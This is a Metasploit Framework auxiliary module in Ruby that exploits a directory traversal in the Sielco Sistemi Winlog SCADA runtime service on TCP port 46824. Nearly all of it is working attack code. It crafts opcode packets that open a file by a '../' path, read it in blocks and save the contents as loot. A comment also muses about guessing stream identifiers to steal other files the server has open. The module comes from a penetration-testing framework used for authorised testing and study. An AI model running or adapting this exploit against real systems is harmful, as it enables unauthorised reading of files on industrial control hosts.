##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sielco Sistemi Winlog Remote File Access',
			'Description'    => %q{
					This module exploits a directory traversal in Sielco Sistemi Winlog. The vulnerability
				exists in the Runtime.exe service and can be triggered by sending a specially crafted packet
				to the 46824/TCP port. This module has been successfully tested on Sielco Sistemi Winlog Lite
				2.07.14.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma', # Vulnerability Discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'OSVDB', '83275' ],
					[ 'BID', '54212' ],
					[ 'EDB', '19409'],
					[ 'URL', 'http://aluigi.altervista.org/adv/winlog_2-adv.txt' ]
				]
		))

		register_options(
			[
				Opt::RPORT(46824),
				OptString.new('FILEPATH', [true, 'The name of the file to download', '/WINDOWS/system32/drivers/etc/hosts']),
				OptInt.new('DEPTH', [true, 'Traversal depth', 10])
			], self.class)
	end

	def run_host(ip)
		# No point to continue if no filename is specified
		if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
			print_error("#{ip}:#{rport} - Please supply the name of the file you want to download")
			return
		end

		travs = "../" * datastore['DEPTH']
		if datastore['FILEPATH'][0] == "/"
			travs << datastore['FILEPATH'][1, datastore['FILEPATH'].length]
		else
			travs << datastore['FILEPATH']
		end

		connect

		# Open File through _TCPIPS_BinOpenFileFP
		packet = "\x00" * 20
		packet << "\x78" # Opcode
		packet << travs # Path traversal
		packet << "\x00"
		sock.put(packet)
		response = sock.get_once(5, 1)

		if response.unpack("C").first != 0x78
			print_error "#{ip}:#{rport} - Error opening file"
			return
		end
		# The stream allows to identify our file since the
		# server could be handling multiple files simultaneously.
		# Since the stream identifier is just an offset in an array
		# of opened streams it could be used to guess other files
		# opened by the server and stole them :-) just an idea....
		stream = response[1, 4]

		# Get File Length through _TCPIPS_BinGetFileSizeFP
		packet = "\x00" * 20
		packet << "\x79" # Opcode
		packet << stream # stream
		packet << "\x00" * 7
		sock.put(packet)
		response = sock.get_once(5, 1)

		if response.unpack("C").first != 0x79
			print_error "#{ip}:#{rport} - Error getting the file length"
			return
		end
		file_length = response[1,4].unpack("V").first


		# Read File with the help of _TCPIPS_BinGetStringRecordFP
		contents = ""
		offset = 0
		while contents.length < file_length
			packet = "\x00" * 20
			packet << "\x98" # Opcode
			packet << [offset].pack("V") # offset (blocks of 0x55)
			packet << stream # stream
			packet << "\x00" * 3
			sock.put(packet)
			response = ""

			while response.length < 0x7ac # Packets of 0x7ac (header (0x9) + block of data (0x7a3))
				response << sock.get_once(0x7ac-response.length, 5)
			end
			if response.unpack("C").first != 0x98
				print_error "#{ip}:#{rport} - Error reading the file, anyway we're going to try to finish"
			end

			if (file_length - contents.length) < response.length - 9
				contents << response[9, file_length - contents.length] # last packet
			else
				contents << response[9, response.length] # no last packet
			end

			offset = offset + 0x17 # 17 blocks in every packet
		end

		# Close File through _TCPIPS_BinCloseFileFP
		packet = "\x00" * 20
		packet << "\x7B"
		packet << "\x00" * 11
		sock.put(packet)
		response = sock.get_once(-1, 1)
		if response.unpack("C").first != 0x7B
			print_error "#{ip}:#{rport} - Error closing file file, anyway we're going to try to finish"
		end

		disconnect

		print_good "#{ip}:#{rport} - File retrieved successfully!"

		fname = File.basename(datastore['FILEPATH'])
		path = store_loot(
			'sielcosistemi.winlog',
			'application/octet-stream',
			ip,
			contents,
			fname,
			datastore['FILEPATH']
		)
		print_status("#{ip}:#{rport} - File saved in: #{path}")

	end

end
